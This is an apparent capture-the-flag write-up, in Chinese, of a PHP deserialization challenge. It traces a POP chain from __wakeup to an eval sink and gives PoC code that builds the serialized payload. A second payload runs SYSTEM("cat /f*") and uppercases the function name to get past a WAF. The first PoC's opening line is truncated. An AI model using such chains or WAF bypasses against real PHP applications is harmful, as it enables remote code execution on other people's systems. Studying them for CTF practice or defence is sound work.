解法一.构造POP链
(1)eval反推到__invoke 这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。 __invoke魔术方法是对象被当做函数进行调用的时候所触发 这里就反推看哪里用到了类似$a()这种的。 (2)__invoke反推到__toString 在Ilovetxw类的toString方法中,返回了return $bb; __ToString方法,是对象被当做字符串的时候进行自动调用 (3)__toString反推到__set 在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。 (4)从__set反推到__call __set:对不存在或者不可访问的变量进行赋值就自动调用 __call:对不存在的方法或者不可访问的方法进行调用就自动调用 这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推到TianXiWei中的__wakeup
整体流程思路 :
Class NISA -> __invoke()
Class Ilovetxw -> __toString()
Class four -> __set()
Class Ilovetxw -> __call()
Class TianXiWei -> __wakeup()
由于上面的思路是倒推出的,所以编写POC的时候,要反着编写;
ext=new ilovetxw;
$a->ext->huang=new four;
$a->ext->huang->a=new ilovetxw;
$a->ext->huang->a->su=new nisa;
echo urlencode(serialize($a));
然后将 system 改成 大写,绕过WAF即可;
在NISA::__wakeup里,做弱比较的时候就能触发__toString
class NISA{
public $txw4ever='SYSTEM("cat /f*");';
}
class Ilovetxw{
}
$a = new NISA();
$a->fun = new Ilovetxw();
$a->fun->su = $a;
$a = serialize($a);
echo $a;